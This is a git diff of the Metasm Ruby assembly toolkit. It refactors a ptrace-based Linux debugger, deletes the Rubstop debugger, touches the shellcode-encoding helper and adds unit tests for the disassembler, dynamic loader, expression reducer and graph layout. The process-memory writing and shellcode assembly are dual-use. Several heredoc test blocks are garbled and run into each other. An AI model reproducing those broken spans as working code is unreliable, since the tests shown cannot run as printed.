@rs.regs_cache['dr7'] & (1 << (2*dr)) != 0 - log "bphw #{{0=>'x', 1=>'w', 2=>'?', 3=>'r'}[(@rs.regs_cache['dr7'] >> (16+4*dr)) & 3]} at #{@rs.findsymbol(@rs.regs_cache["dr#{dr}"])}" - end - } - } - @command['bc'] = lambda { |lex, int| - @rs.clearbreaks - } - @command['bt'] = lambda { |lex, int| @rs.backtrace { |t| puts t } } - @command['d'] = lambda { |lex, int| @dataptr = int[] || return } - @command['db'] = lambda { |lex, int| @datafmt = 'db' ; @dataptr = int[] || return } - @command['dw'] = lambda { |lex, int| @datafmt = 'dw' ; @dataptr = int[] || return } - @command['dd'] = lambda { |lex, int| @datafmt = 'dd' ; @dataptr = int[] || return } - @command['r'] = lambda { |lex, int| - r = lex.readtok.raw - nil while ntok = lex.readtok and ntok.type == :space + @command['bt'] = lambda { |str| @rs.stacktrace { |a,t| add_log "#{'%x' % a} #{t}" } } + @command['d'] = lambda { |str| @dataptr = @rs.resolve(str) if str.length > 0 } + @command['db'] = lambda { |str| @datafmt = 'db' ; @dataptr = @rs.resolve(str) if str.length > 0 } + @command['dw'] = lambda { |str| @datafmt = 'dw' ; @dataptr = @rs.resolve(str) if str.length > 0 } + @command['dd'] = lambda { |str| @datafmt = 'dd' ; @dataptr = @rs.resolve(str) if str.length > 0 } + @command['r'] = lambda { |str| + r, str = str.split(/\s+/, 2) if r == 'fl' - flag = ntok.raw - if i = Rubstop::EFLAGS.index(flag) - @rs.eflags ^= 1 << i - @rs.readregs - else - log "bad flag #{flag}" - end - elsif not @rs.regs_cache[r] + @rs.toggle_flag(str.to_sym) + elsif not @rs[r] log "bad reg #{r}" - elsif ntok - lex.unreadtok ntok - newval = int[] - if newval and newval.kind_of? ::Integer - @rs.send r+'=', newval - @rs.readregs - end + elsif str and str.length > 0 + @rs[r] = @rs.resolve(str) else - log "#{r} = #{@rs.regs_cache[r]}" + log "#{r} = #{@rs[r]}" end } - @command['run'] = @command['cont'] = lambda { |lex, int| - if tok = lex.readtok - lex.unreadtok tok - cont int[] - else cont - end + @command['g'] = lambda { |str| + @rs.go @rs.resolve(str) } - @command['syscall'] = lambda { |lex, int| syscall } - @command['singlestep'] = lambda { |lex, int| singlestep } - @command['stepover'] = lambda { |lex, int| stepover } - @command['stepout'] = lambda { |lex, int| stepout } - @command['g'] = lambda { |lex, int| - target = int[] - @rs.singlestep if @rs.regs_cache['eip'] == target - @rs.bpx target, true - cont - } - @command['u'] = lambda { |lex, int| @codeptr = int[] || break } - @command['has_pax'] = lambda { |lex, int| - if tok = lex.readtok - lex.unreadtok tok - if (int[] == 0) - @rs.set_pax false - else - @rs.set_pax true - end - else @rs.set_pax !@rs.has_pax - end - log "has_pax now #{@rs.has_pax}" - } - @command['loadsyms'] = lambda { |lex, int| - mapfile = '' - mapfile << ntok.raw while ntok = lex.readtok - if mapfile != '' - @rs.loadmap mapfile - else - @rs.loadallsyms - end - } - @command['scansyms'] = lambda { |lex, int| @rs.scansyms } - @command['sym'] = lambda { |lex, int| - sym = '' - sym << ntok.raw while ntok = lex.readtok - s = [] - @rs.symbols.each { |k, v| - s << k if v =~ /#{sym}/ - } - if s.empty? - log "unknown symbol #{sym}" - else - s.sort.each { |s_| log "#{'%08x' % s_} #{@rs.symbols_len[s_].to_s.ljust 6} #{@rs.findsymbol(s_)}" } - end - } - @command['delsym'] = lambda { |lex, int| - addr = int[] - log "deleted #{@rs.symbols.delete addr}" - @rs.symbols_len.delete addr - } - @command['addsym'] = lambda { |lex, int| - name = lex.readtok.raw - addr = int[] - if t = lex.readtok - lex.unreadtok t - @rs.symbols_len[addr] = int[] - else - @rs.symbols_len[addr] = 1 - end - @rs.symbols[addr] = name - } - @command['help'] = lambda { |lex, int| - log 'commands: (addr/values are things like dword ptr [ebp+(4*byte [eax])] ), type to see all commands' - log ' bpx ' - log ' bphw [r|w|x] : debug register breakpoint' - log ' bl: list breakpoints' - log ' bc: clear breakpoints' - log ' cont []: continue the target sending a signal' - log ' d/db/dw/dd []: change data type/address' - log ' g : set a bp at and run' - log ' has_pax [0|1]: set has_pax flag' - log ' loadsyms: load symbol information from mapped files (from /proc and disk)' - log ' ma : write memory' - log ' mx : write memory' - log ' maps: list maps' - log ' r []: show/change register' - log ' r fl : toggle eflags bit' - log ' scansyms: scan memory for ELF headers' - log ' sym : show symbol information' - log ' addsym []' - log ' delsym ' - log ' u : disassemble addr' - log ' reload: reload lindebug source' - log ' ruby : instance_evals ruby code in current instance' - log ' closeui: detach from the underlying RubStop' - log 'keys:' - log ' F5: continue' - log ' F6: syscall' - log ' F10: step over' - log ' F11: single step' - log ' F12: step out (til next ret)' - log ' pgup/pgdown: move command history' - } - @command['reload'] = lambda { |lex, int| load $0 ; load_commands } - @command['ruby'] = lambda { |lex, int| - str = '' - str << ntok.raw while ntok = lex.readtok - instance_eval str - } - @command['maps'] = lambda { |lex, int| - @rs.filemap.sort_by { |f, (b, e)| b }.each { |f, (b, e)| - log "#{f.ljust 20} #{'%08x' % b} - #{'%08x' % e}" - } - } - @command['ma'] = lambda { |lex, int| - addr = int[] - str = '' - str << ntok.raw while ntok = lex.readtok - @rs[addr, str.length] = str - } - @command['mx'] = lambda { |lex, int| - addr = int[] - data = [lex.readtok.raw].pack('H*') - @rs[addr, data.length] = data - } - @command['resize'] = lambda { |lex, int| resize } - @command['watch'] = lambda { |lex, int| @watch = ExprParser.parse(lex) ; updatedataptr } - @command['wd'] = lambda { |lex, int| + @command['u'] = lambda { |str| @codeptr = @rs.resolve(str) } + @command['ruby'] = lambda { |str| instance_eval str } + @command['wd'] = lambda { |str| @focus = :data - if tok = lex.readtok - lex.unreadtok tok - @win_data_height = int[] || return + if str.length > 0 + @win_data_height = @rs.resolve(str) resize end } - @command['wc'] = lambda { |lex, int| + @command['wc'] = lambda { |str| @focus = :code - if tok = lex.readtok - lex.unreadtok tok - @win_code_height = int[] || return + if str.length > 0 + @win_code_height = @rs.resolve(str) resize end } - @command['wp'] = lambda { |lex, int| @focus = :prompt } - @command['?'] = lambda { |lex, int| - val = int[] + @command['wp'] = lambda { |str| @focus = :prompt } + @command['?'] = lambda { |str| + val = @rs.resolve(str) log "#{val} 0x#{val.to_s(16)} #{[val].pack('L').inspect}" } - @command['.'] = lambda { |lex, int| @codeptr = nil } + @command['syscall'] = lambda { |str| + @rs.syscall_wait(str) + } end end if $0 == __FILE__ require 'optparse' - filemap = nil + opts = { :sc_cpu => 'Ia32' } OptionParser.new { |opt| - opt.on('-m map', '--map filemap') { |f| filemap = f } + opt.on('-m map', '--map filemap') { |f| opts[:filemap] = f } + opt.on('--cpu cpu') { |c| opts[:sc_cpu] = c } }.parse!(ARGV) - if not defined? Rubstop - if ARGV.first =~ /:/ - stub = 'gdbclient' - else - stub = 'rubstop' - end - require File.join(File.dirname(__FILE__), stub) + case ARGV.first + when /^(tcp:|udp:)?..+:/, /^ser:/ + opts[:sc_cpu] = eval(opts[:sc_cpu]) if opts[:sc_cpu] =~ /[.(\s:]/ + opts[:sc_cpu] = opts[:sc_cpu].new if opts[:sc_cpu].kind_of?(::Class) + rs = Metasm::GdbRemoteDebugger.new(ARGV.first, opts[:sc_cpu]) + else + rs = Metasm::LinDebugger.new(ARGV.join(' ')) end - - rs = Rubstop.new(ARGV.join(' ')) - rs.loadmap(filemap) if filemap + rs.load_map(opts[:filemap]) if opts[:filemap] LinDebug.new(rs).main_loop end diff --git a/lib/metasm/samples/metasm-shell.rb b/lib/metasm/samples/metasm-shell.rb index 698b7a3916..76a365f5e2 100644 --- a/lib/metasm/samples/metasm-shell.rb +++ b/lib/metasm/samples/metasm-shell.rb @@ -31,8 +31,7 @@ class String # encodes the current string as a Shellcode, returns the resulting EncodedData def encode_edata - s = Metasm::Shellcode.assemble @@cpu, self - s.encoded + Metasm::Shellcode.assemble(@@cpu, self).encode.encoded end # encodes the current string as a Shellcode, returns the resulting binary String diff --git a/lib/metasm/samples/peldr.rb b/lib/metasm/samples/peldr.rb index 1461b8d02b..e98220ffb1 100644 --- a/lib/metasm/samples/peldr.rb +++ b/lib/metasm/samples/peldr.rb @@ -148,7 +148,7 @@ class PeLdr end } - cp.numeric_constants.each { |k, v| + cp.numeric_constants.each { |k, v, f| n = k.upcase n = "C#{n}" if n !~ /^[A-Z]/ DL.const_set(n, v) if not DL.const_defined?(n) and v.kind_of? Integer @@ -178,7 +178,7 @@ class PeLdr def self.populate_peb DL.memory_write(@@peb, 0.chr*4096) - set = lambda { |off, val| DL.memory_write_int(@@peb+off, val) } + #set = lambda { |off, val| DL.memory_write_int(@@peb+off, val) } end def self.teb ; @@teb ; end diff --git a/lib/metasm/samples/rubstop.rb b/lib/metasm/samples/rubstop.rb deleted file mode 100644 index 751f758fa8..0000000000 --- a/lib/metasm/samples/rubstop.rb +++ /dev/null @@ -1,399 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# -# this exemple illustrates the use of the PTrace class to implement a pytstop-like functionnality -# Works on linux/x86 -# - -require 'metasm' - -class Rubstop < Metasm::PTrace - EFLAGS = {0 => 'c', 2 => 'p', 4 => 'a', 6 => 'z', 7 => 's', 9 => 'i', 10 => 'd', 11 => 'o'} - # define accessors for registers - %w[eax ebx ecx edx ebp esp edi esi eip orig_eax eflags dr0 dr1 dr2 dr3 dr6 dr7 cs ds es fs gs].each { |reg| - define_method(reg) { peekusr(REGS_I386[reg.upcase]) & 0xffffffff } - define_method(reg+'=') { |v| - @regs_cache[reg] = v - v = [v & 0xffffffff].pack('L').unpack('l').first if v >= 0x8000_0000 - pokeusr(REGS_I386[reg.upcase], v) - } - } - - def cont(signal=0) - @ssdontstopbp = nil - singlestep(true) if @wantbp - super(signal) - ::Process.waitpid(@pid) - return if child.exited? - @oldregs.update @regs_cache - readregs - checkbp - end - - def singlestep(justcheck=false) - super() - ::Process.waitpid(@pid) - return if child.exited? - case @wantbp - when ::Integer; bpx @wantbp ; @wantbp = nil - when ::String; self.dr7 |= 1 << (2*@wantbp[2, 1].to_i) ; @wantbp = nil - end - return if justcheck - @oldregs.update @regs_cache - readregs - checkbp - end - - def stepover - i = curinstr.instruction if curinstr - if i and (i.opname == 'call' or (i.prefix and i.prefix[:rep])) - eaddr = @regs_cache['eip'] + curinstr.bin_length - bpx eaddr, true - cont - else - singlestep - end - end - - def stepout - # XXX @regs_cache.. - stepover until curinstr.opcode.name == 'ret' - singlestep - end - - def syscall - @ssdontstopbp = nil - singlestep(true) if @wantbp - super() - ::Process.waitpid(@pid) - return if child.exited? - @oldregs.update @regs_cache - readregs - checkbp - end - - def state; :stopped end - def ptrace; self end - - attr_accessor :pgm, :regs_cache, :breakpoints, :singleshot, :wantbp, - :symbols, :symbols_len, :filemap, :has_pax, :oldregs - def initialize(*a) - super(*a) - @pgm = Metasm::ExeFormat.new Metasm::Ia32.new - @pgm.encoded = Metasm::EncodedData.new Metasm::LinuxRemoteString.new(@pid) - @pgm.encoded.data.dbg = self - @regs_cache = {} - @oldregs = {} - readregs - @oldregs.update @regs_cache - @breakpoints = {} - @singleshot = {} - @wantbp = nil - @symbols = {} - @symbols_len = {} - @filemap = {} - @has_pax = false - - stack = self[regs_cache['esp'], 0x1000].to_str.unpack('L*') - stack.shift # argc - stack.shift until stack.empty? or stack.first == 0 # argv - stack.shift - stack.shift until stack.empty? or stack.first == 0 # envp - stack.shift - stack.shift until stack.empty? or stack.shift == 3 # find PHDR ptr in auxv - if phdr = stack.shift - phdr &= 0xffff_f000 - loadsyms phdr, phdr.to_s(16) - end - end - - def set_pax(bool) - if bool - @pgm.encoded.data.invalidate - code = @pgm.encoded.data[eip, 4] - if code != "\0\0\0\0" and @pgm.encoded.data[eip+0x6000_0000, 4] == code - @has_pax = 'segmexec' - else - @has_pax = 'pax' - end - else - @has_pax = false - end - end - - def readregs - %w[eax ebx ecx edx esi edi esp ebp eip orig_eax eflags dr0 dr1 dr2 dr3 dr6 dr7 cs ds].each { |r| @regs_cache[r] = send(r) } - @curinstr = nil if @regs_cache['eip'] != @oldregs['eip'] - @pgm.encoded.data.invalidate - end - - def curinstr - @curinstr ||= mnemonic_di - end - - def child - $? - end - - def checkbp - ::Process::waitpid(@pid, ::Process::WNOHANG) if not child - return if not child - if not child.stopped? - if child.exited?; log "process exited with status #{child.exitstatus}" - elsif child.signaled?; log "process exited due to signal #{child.termsig} (#{Signal.list.index child.termsig})" - else log "process in unknown status #{child.inspect}" - end - return - elsif child.stopsig != ::Signal.list['TRAP'] - log "process stopped due to signal #{child.stopsig} (#{Signal.list.index child.stopsig})" - return # do not check 0xcc at eip-1 ! ( if curinstr.bin_length == 1 ) - end - ccaddr = @regs_cache['eip']-1 - if @breakpoints[ccaddr] and self[ccaddr] == 0xcc - if @ssdontstopbp != ccaddr - self[ccaddr] = @breakpoints.delete ccaddr - self.eip = ccaddr - @wantbp = ccaddr if not @singleshot.delete ccaddr - @ssdontstopbp = ccaddr - else - @ssdontstopbp = nil - end - elsif @regs_cache['dr6'] & 15 != 0 - dr = (0..3).find { |dr_| @regs_cache['dr6'] & (1 << dr_) != 0 } - @wantbp = "dr#{dr}" if not @singleshot.delete @regs_cache['eip'] - self.dr6 = 0 - self.dr7 = @regs_cache['dr7'] & (0xffff_ffff ^ (3 << (2*dr))) - readregs - end - end - - def bpx(addr, singleshot=false) - @singleshot[addr] = singleshot - return if @breakpoints[addr] - if @has_pax - set_hwbp 'x', addr - else - begin - @breakpoints[addr] = self[addr] - self[addr] = 0xcc - rescue Errno::EIO - log 'i/o error when setting breakpoint, switching to PaX mode' - set_pax true - @breakpoints.delete addr - bpx(addr, singleshot) - end - end - end - - def mnemonic_di(addr = eip) - @pgm.encoded.ptr = addr - di = @pgm.cpu.decode_instruction(@pgm.encoded, addr) - @curinstr = di if addr == @regs_cache['eip'] - di - end - - def mnemonic(addr=eip) - mnemonic_di(addr).instruction - end - - def regs_dump - [%w[eax ebx ecx edx orig_eax], %w[ebp esp edi esi eip]].map { |l| - l.map { |reg| "#{reg}=#{'%08x' % @regs_cache[reg]}" }.join(' ') - }.join("\n") - end - - def findfilemap(s) - @filemap.keys.find { |k| @filemap[k][0] <= s and @filemap[k][1] > s } || '???' - end - - def findsymbol(k) - file = findfilemap(k) + '!' - if s = @symbols[k] ? k : @symbols.keys.find { |s_| s_ < k and s_ + @symbols_len[s_].to_i > k } - file + @symbols[s] + (s == k ? '' : "+#{(k-s).to_s(16)}") - else - file + ('%08x' % k) - end - end - - def set_hwbp(type, addr, len=1) - dr = (0..3).find { |dr_| @regs_cache['dr7'] & (1 << (2*dr_)) == 0 and @wantbp != "dr#{dr}" } - if not dr - log 'no debug reg available :(' - return false - end - @regs_cache['dr7'] &= 0xffff_ffff ^ (0xf << (16+4*dr)) - case type - when 'x'; addr += (@has_pax == 'segmexec' ? 0x6000_0000 : 0) - when 'r'; @regs_cache['dr7'] |= (((len-1)<<2)|3) << (16+4*dr) - when 'w'; @regs_cache['dr7'] |= (((len-1)<<2)|1) << (16+4*dr) - end - send("dr#{dr}=", addr) - self.dr6 = 0 - self.dr7 = @regs_cache['dr7'] | (1 << (2*dr)) - readregs - true - end - - def clearbreaks - @wantbp = nil if @wantbp == @regs_cache['eip'] - @breakpoints.each { |addr, oct| self[addr, 1] = oct } - @breakpoints.clear - if @regs_cache['dr7'] & 0xff != 0 - self.dr7 = 0 - readregs - end - end - - def loadsyms(baseaddr, name) - @loadedsyms ||= {} - return if @loadedsyms[name] or self[baseaddr, 4] != "\x7fELF" - @loadedsyms[name] = true - - set_status " loading symbols from #{name}..." - e = Metasm::LoadedELF.load self[baseaddr, 0x100_0000] - e.load_address = baseaddr - begin - e.decode - #e = Metasm::ELF.decode_file name rescue return # read from disk - rescue - log "failed to load symbols from #{name}: #$!" - ($!.backtrace - caller).each { |l| log l.chomp } - @filemap[baseaddr.to_s(16)] = [baseaddr, baseaddr+0x1000] - return - end - - if e.tag['SONAME'] - name = e.tag['SONAME'] - return if name and @loadedsyms[name] - @loadedsyms[name] = true - end - - last_s = e.segments.reverse.find { |s| s.type == 'LOAD' } - vlen = last_s.vaddr + last_s.memsz - vlen -= baseaddr if e.header.type == 'EXEC' - @filemap[name] = [baseaddr, baseaddr + vlen] - - oldsyms = @symbols.length - e.symbols.each { |s| - next if not s.name or s.shndx == 'UNDEF' - sname = s.name - sname = 'weak_'+sname if s.bind == 'WEAK' - sname = 'local_'+sname if s.bind == 'LOCAL' - v = s.value - v = baseaddr + v if v < baseaddr - @symbols[v] = sname - @symbols_len[v] = s.size - } - if e.header.type == 'EXEC' - @symbols[e.header.entry] = 'entrypoint' - end - set_status nil - log "loaded #{@symbols.length-oldsyms} symbols from #{name} at #{'%08x' % baseaddr}" - end - - def loadallsyms - File.read("/proc/#{@pid}/maps").each { |l| - name = l.split[5] - loadsyms l.to_i(16), name if name and name[0] == ?/ - } - end - - def loadmap(mapfile) - # file fmt: addr type name eg 'c01001ba t setup_idt' - minaddr = maxaddr = nil - File.read(mapfile).each { |l| - addr, type, name = l.chomp.split - addr = addr.to_i(16) - minaddr = addr if not minaddr or minaddr > addr - maxaddr = addr if not maxaddr or maxaddr < addr - @symbols[addr] = name - } - if minaddr - @filemap[minaddr.to_s(16)] = [minaddr, maxaddr+1] - end - end - - def scansyms - addr = 0 - fd = @pgm.encoded.data.readfd - while addr <= 0xffff_f000 - addr = 0xc000_0000 if @has_pax and addr == 0x6000_0000 - log "scansym: #{'%08x' % addr}" if addr & 0x0fff_ffff == 0 - fd.pos = addr - loadsyms(addr, '%08x'%addr) if (fd.read(4) == "\x7fELF" rescue false) - addr += 0x1000 - end - end - - def backtrace - s = findsymbol(@regs_cache['eip']) - if block_given? - yield s - else - bt = [] - bt << s - end - fp = @regs_cache['ebp'] - while fp >= @regs_cache['esp'] and fp <= @regs_cache['esp']+0x10000 - s = findsymbol(self[fp+4, 4].unpack('L').first) - if block_given? - yield s - else - bt << s - end - fp = self[fp, 4].unpack('L').first - end - bt - end - - def [](addr, len=nil) - @pgm.encoded.data[addr, len] - end - def []=(addr, len, str=nil) - @pgm.encoded.data[addr, len] = str - end - - attr_accessor :logger - def log(s) - @logger ||= $stdout - @logger.puts s - end - - # set a temporary status info (nil for default value) - def set_status(s) - @logger ||= $stdout - if @logger != $stdout - @logger.statusline = s - else - s ||= ' '*72 - @logger.print s + "\r" - @logger.flush - end - end -end - -if $0 == __FILE__ - # start debugging - rs = Rubstop.new(ARGV.shift) - - begin - while rs.child.stopped? and rs.child.stopsig == Signal.list['TRAP'] - if $VERBOSE - puts "#{'%08x' % rs.eip} #{rs.mnemonic}" - rs.singlestep - else - rs.syscall ; rs.syscall # wait return of syscall - puts "#{rs.orig_eax.to_s.ljust(3)} #{rs.syscallnr.index rs.orig_eax}" - end - end - p rs.child - puts rs.regs_dump - rescue Interrupt - rs.detach rescue nil - puts 'interrupted!' - rescue Errno::ESRCH - end -end diff --git a/lib/metasm/samples/struct_offset.rb b/lib/metasm/samples/struct_offset.rb index f285a164df..cd6f13f2db 100644 --- a/lib/metasm/samples/struct_offset.rb +++ b/lib/metasm/samples/struct_offset.rb @@ -43,17 +43,5 @@ cp.parse_file(ARGV.shift) $stdout.reopen File.open(opts[:outfile], 'w') if opts[:outfile] ARGV.each { |structname| - st = cp.toplevel.struct[structname] || cp.toplevel.symbol[structname] - st = st.type while st.kind_of? Metasm::C::Pointer or st.kind_of? Metasm::C::TypeDef - if not st.kind_of? C::Struct - puts "// unknown #{structname}", '' - next - end - - puts "// #{structname}" if not st.name - puts "struct #{st.name} { // size = #{cp.sizeof(st).to_s(opts[:offbase])}" - st.members.each { |m| - puts "\t#{m.type.to_s[1..-2]} #{m.name if m.name}; // +#{st.offsetof(cp, m.name).to_s(opts[:offbase])}" - } - puts '};', '' + puts cp.alloc_c_struct(structname) } diff --git a/lib/metasm/tests/all.rb b/lib/metasm/tests/all.rb index 9241608854..9f8e8df710 100644 --- a/lib/metasm/tests/all.rb +++ b/lib/metasm/tests/all.rb @@ -4,5 +4,5 @@ # Licence is LGPL, see LICENCE in the top-level directory -Dir['tests/*.rb'].each { |f| require f } +Dir['tests/*.rb'].sort.each { |f| require f } diff --git a/lib/metasm/tests/arc.rb b/lib/metasm/tests/arc.rb new file mode 100644 index 0000000000..26cee93ddd --- /dev/null +++ b/lib/metasm/tests/arc.rb @@ -0,0 +1,26 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'test/unit' +require 'metasm' + +class TestArc < Test::Unit::TestCase + def test_arc_dec + hex_stream = "\x0A\x23\x80\x0F\x80\x0\x60\x0D" # mov r3, 0x800D60 + hex_stream += "\x40\x83" # ld_s r2, [r3, 0] + + dasm = Metasm::Shellcode.disassemble(Metasm::ARC.new, hex_stream) + assert_equal(2, dasm.decoded.length) + + assert_equal('mov', dasm.decoded[0].instruction.opname) + assert_equal('r3', dasm.decoded[0].instruction.args[0].to_s) + assert_equal(0x800d60, dasm.decoded[0].instruction.args[1].reduce) + + assert_equal('ld_s', dasm.decoded[8].instruction.opname) + assert_equal('r2', dasm.decoded[8].instruction.args[0].to_s) + assert_equal('r3', dasm.decoded[8].instruction.args[1].base.to_s) + assert_equal(0, dasm.decoded[8].instruction.args[1].disp.reduce) + end +end diff --git a/lib/metasm/tests/dynldr.rb b/lib/metasm/tests/dynldr.rb index be7f29a434..21debb6d33 100644 --- a/lib/metasm/tests/dynldr.rb +++ b/lib/metasm/tests/dynldr.rb @@ -7,29 +7,47 @@ require 'test/unit' require 'metasm' class TestDynldr < Test::Unit::TestCase + def d; Metasm::DynLdr; end - def test_dynldr + def test_new_api_c str = "1234" - d = Metasm::DynLdr d.new_api_c('int memcpy(char*, char*, int)') d.memcpy(str, "9999", 2) assert_equal('9934', str) + end + def test_new_func_c c_src = <>, 8], :&, 0xff], :<<, 8].reduce) + + assert_equal(E[[:a, :>>, 1], :&, 0xff0], E[[[:a, :>>, 5], :&, 0xff], :<<, 4].reduce) + + assert_equal(0, E[[:a, :&, 0xff00], :&, [:b, :&, 0xff]].reduce) + assert_equal(0, E[[:a, :&, 0xff], :>>, 8].reduce) + + assert_equal(E[:a, :&, 0xffff], E[[:a, :&, 0x3333], :|, [[:a, :&, 0x8888], :+, [:a, :&, 0x4444]]].reduce) + + assert_equal(E[:a, :&, 0xff], E[[:a, :|, [:b, :&, 0xff00]], :&, 0xff].reduce) + + assert_equal(1, E[[2, :>, 1], :'||', [:a, :<=, :b]].reduce) + assert_equal(0, E[[:a, :>, :b], :'&&', [1, :>, 2]].reduce) + + assert_equal(E[:a, :>, :b], E[[:'!', [:a, :<=, :b]], :==, 1].reduce) + end + + def test_pattern + pat = E[:a, :+, [:b, :&, 0xffff]].match(E['a', :|, 'b'], 'a', 'b') + assert_equal(false, pat) + + pat = E[:a, :+, [:b, :&, 0xffff]].match(E['a', :+, 'b'], 'a', 'b') + assert_equal(:a, pat['a']) + p2 = pat['b'].match(E[:a, :b, :c], :a, :b, :c) + assert_equal(0xffff, p2[:c]) + assert_equal(:&, p2[:b]) + end +end diff --git a/lib/metasm/tests/graph_layout.rb b/lib/metasm/tests/graph_layout.rb new file mode 100644 index 0000000000..24eb7c129e --- /dev/null +++ b/lib/metasm/tests/graph_layout.rb @@ -0,0 +1,285 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +# special file to test the graph layout engine +# call this file directly to run + +require 'metasm' +include Metasm + +def test_layout(lo) + $cur ||= 0 + $cur += 1 + if $target.to_i != 0 + return if $cur != $target + else + return if not lo.include? $target + end if $target + puts $cur, lo, '' if $VERBOSE + w = Gui::Window.new + ww = w.widget = Gui::GraphViewWidget.new(nil, nil) + ww.grab_focus + Gui.idle_add { + ww.load_dot(lo) + ww.curcontext.auto_arrange_boxes + ww.zoom_all + false + } + Gui.main +end + +def test_all + test_layout < 2 -> 3 -> 4 -> 5 -> 6 -> 7; +EOS + test_layout < 1; +sep2 -> 2; +sep3 -> 3; +sep4 -> 4; +sep5 -> 5; +EOS + test_layout < 2 -> 3; +2 -> 4; +EOS + test_layout < 2 -> 3 -> 5; +2 -> 4 -> 5; +EOS + test_layout < 2 -> 3 -> 4; +2 -> 4; +EOS + test_layout < 2 -> 3; +1 -> 2; +EOS + test_layout < 2 -> 31 -> 32 -> 34 -> 5 -> 6 -> 8; +2 -> 41 -> 42 -> 44 -> 5 -> 7 -> 8; +41 -> 43 -> 44; +31 -> 33 -> 34; +EOS + test_layout < 2 -> 3a -> 4; +2 -> 3b -> 4; +3a -> 4a; +3b -> 4b; +EOS + test_layout < 2 -> 8; +2 -> 3 -> 8; +2 -> 4 -> 5 -> 8; +2 -> 6 -> 7 -> 8; +EOS + test_layout < 2 -> 3; +2 -> 4; +2 -> 5; +2 -> 6; +2 -> 7; +2 -> 8; +EOS + test_layout < 1 -> 2; +1 -> 3333333333333333333333333333333333; +EOS + test_layout < 1 +1 -> a2 -> a3 +a2 -> a222222222 -> a3 +1 -> b2 -> b3 +b2 -> b222222222 -> b3 +EOS + test_layout < 1 -> 2 -> 3 -> 4 -> 5 +4 -> eeeeeeeeeeee -> 5 +EOS + test_layout < 1 -> 22222222222222222222222222 -> e +1 -> 33333333333333333333333333 -> e +1 -> 4444444444444444444444 -> e +1 -> 5 -> e +5 -> 5t -> e +1 -> 6 -> e +6 -> 6t -> e +1 -> 7 -> e +7 -> 7t -> e +EOS + test_layout < 2 -> 11 -> 12 -> 13 -> 4; +2 -> 21 -> 22 -> 23 -> 4; +2 -> 31 -> 32 -> 33 -> 4; +21 -> 2z; +31 -> 3z; +EOS + test_layout < 2 -> 11 -> 12 -> 13; +2 -> 21 -> 22 -> 13; +2 -> 31 -> 32 -> 33; +22 -> 33; +21 -> z; +EOS + test_layout < 2 -> 3 -> 4 -> 5 -> 6 -> 62 -> 52 -> 42 -> 32 -> 22 -> e; +2 -> 21 -> 22; +3 -> 31 -> 32; +4 -> 41 -> 42; +5 -> 51 -> 52; +6 -> 61 -> 62; +EOS + test_layout < 2 -> 3 -> 4 -> 5 -> 6 -> 7 -> e; +2 -> 21 -> e; +3 -> 31 -> e; +4 -> 41 -> e; +5 -> 51 -> e; +6 -> 61 -> e; +EOS + test_layout < 2 -> 3 -> 4 -> 5 -> 6; +2 -> 4; +2 -> 5; +2 -> 6; +EOS + test_layout < 2a -> 3 -> 4 -> 5 -> 6; +drstair -> 2b -> 4; +2a -> 4; +2a -> 5; +2a -> 6; +2b -> 4; +2b -> 5; +2b -> 6; +EOS + test_layout < 2a -> 3a -> 4a -> 5a -> 6a; +mrstair -> 2b -> 4a; +2a -> 4a; +2a -> 5a; +2a -> 6a; +2b -> 4a; +2b -> 5a; +2b -> 6a; +2a -> 3b -> 4b -> 5b -> 6b; +2a -> 4b; +2a -> 5b; +2a -> 6b; +2b -> 3b; +2b -> 4b; +2b -> 5b; +2b -> 6b; +EOS + test_layout < 2 -> 3 -> 4; +3 -> 2; +EOS + test_layout < 2 -> 3 -> e; +2 -> 4 -> 5 -> 6 -> 8 -> e; +5 -> 7 -> 4; +EOS + test_layout < 2 -> 3 -> e; +2 -> 4 -> 5 -> 6 -> 8 -> e; +5 -> 7 -> 4; +7 -> 8; +EOS + test_layout < 2 -> 3 -> 4 -> 5 -> e; +2 -> 6 -> 7 -> 8 -> 9 -> 10 -> 11 -> 12 -> e; +EOS + test_layout < 2 -> 3 -> e; +2 -> 4 -> e; +2 -> 5 -> e; +2 -> 6 -> 7 -> 8 -> 9 -> 10 -> 11 -> 12 -> e; +EOS + test_layout < 2 -> 3 -> e; +2 -> 4 -> e; +2 -> 5 -> e; +2 -> 6 -> e; +8 -> 9 -> e; +2 -> 7 -> e; +EOS + test_layout < 1 -> 2 -> 3 -> 4 -> 5 -> 6; +l1 -> l2; +l1 -> l3; +l1 -> l4; +l1 -> l5; +l1 -> l6; +EOS + + test_layout < 2 -> 31 -> 41 -> 5; +2 -> 32 -> 42 -> 5; +31 -> 42; +41 -> 32; +EOS + test_layout < 2 -> 3 -> 4 -> 5 -> 6 -> 7 -> e; +6 -> 4; +7 -> 3; +EOS + test_layout < 2 -> 3 -> 4 -> 5 -> 6 -> 7 -> 8; +2 -> 21; +4 -> 6; +EOS + test_layout < 1 -> loophead; +2 -> 3 -> 2; +3 -> 4; +1 -> 4; +EOS + test_layout < e1; +l00pz -> 1 -> l00pz; +l2 -> 2 -> l2; +2 -> e1; +2 -> e2; +l3 -> 3 -> l3; +3 -> e2; +EOS + test_layout < 1 -> 3loop; +1 -> 2 -> 3 -> 2; +0 -> 00 -> 0 -> 2; +EOS + test_layout < 0 -> 1 +0 -> 2 -> 3 -> 4 -> 5 +4 -> 6 +4 -> 7 -> 5 +4 -> 8 -> 6 +2 -> 1 -> 7 +3 -> 1 -> 8 +EOS + test_layout < 2 -> 3 -> 4 -> 5 -> 6 -> 4; +2 -> 9; +5 -> 9; +EOS + test_layout < 2 -> 3 -> 4 -> 5 -> 6 -> 4 +2 -> 9 +5 -> 9 +9 -> a -> 9 +EOS + test_layout < onlyloop +EOS + +rescue Interrupt +end + +if __FILE__ == $0 + $target = ARGV[0] + test_all +end diff --git a/lib/metasm/tests/ia32.rb b/lib/metasm/tests/ia32.rb index fc1da82a2d..e4d990b1ed 100644 --- a/lib/metasm/tests/ia32.rb +++ b/lib/metasm/tests/ia32.rb @@ -44,6 +44,17 @@ class TestIa32 < Test::Unit::TestCase assert_equal(assemble("jmp.i32 $"), "\xe9\xfb\xff\xff\xff") end + def 